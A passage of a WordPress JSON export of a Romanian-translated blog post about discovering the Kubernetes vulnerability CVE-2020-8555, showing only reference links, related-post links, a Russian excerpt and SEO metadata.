rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020-8555<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">golang issue #30794<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">heketi\/client\/api\/go-client\/volume.go<\/a><\/noindex>.<\/li>\n<\/ul>\n<p><\/p>\n<h2>P.S. de la traduc\u0103tor<\/h2>\n<p>\nCiti\u021bi \u0219i \u00een blogul nostru:<\/p>\n<ul>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/485838\/\">V\u00e2n\u0103toarea de erori \u00een Kubernetes este oficial deschis\u0103<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/466625\/\">Ie\u0219irea din pod \u00een Kubernetes prin montarea jurnalelor.<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/465141\/\">33+ instrumente pentru securitatea Kubernetes<\/a><\/noindex>\u00bb.<\/li>\n<\/ul>\n<p>Sursa: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/508308\/\">habr.com<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":86624,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-86623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.2.1 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/ro\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.2.1\" \/>\n\t\t<meta property=\"og:locale\" content=\"ro_RO\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/ro\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47C\u00e2nd nu este vorba doar despre vulnerabilitatea din Kubernetes\u2026 | ProHoster","description":"Not\u0103.","canonical_url":"https:\/\/prohoster.info\/ro\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"ro_RO","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster","og:description":"\u041f\u0440\u0438\u043c.","og:url":"https:\/\/prohoster.info\/ro\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-06-27T17:42:40+00:00","article:modified_time":"2020-06-27T17:42:40+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"86623","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 14:11:05","updated":"2022-09-28 21:18:58","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts\/86623","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/comments?post=86623"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts\/86623\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/media\/86624"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/media?parent=86623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/categories?post=86623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/tags?post=86623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}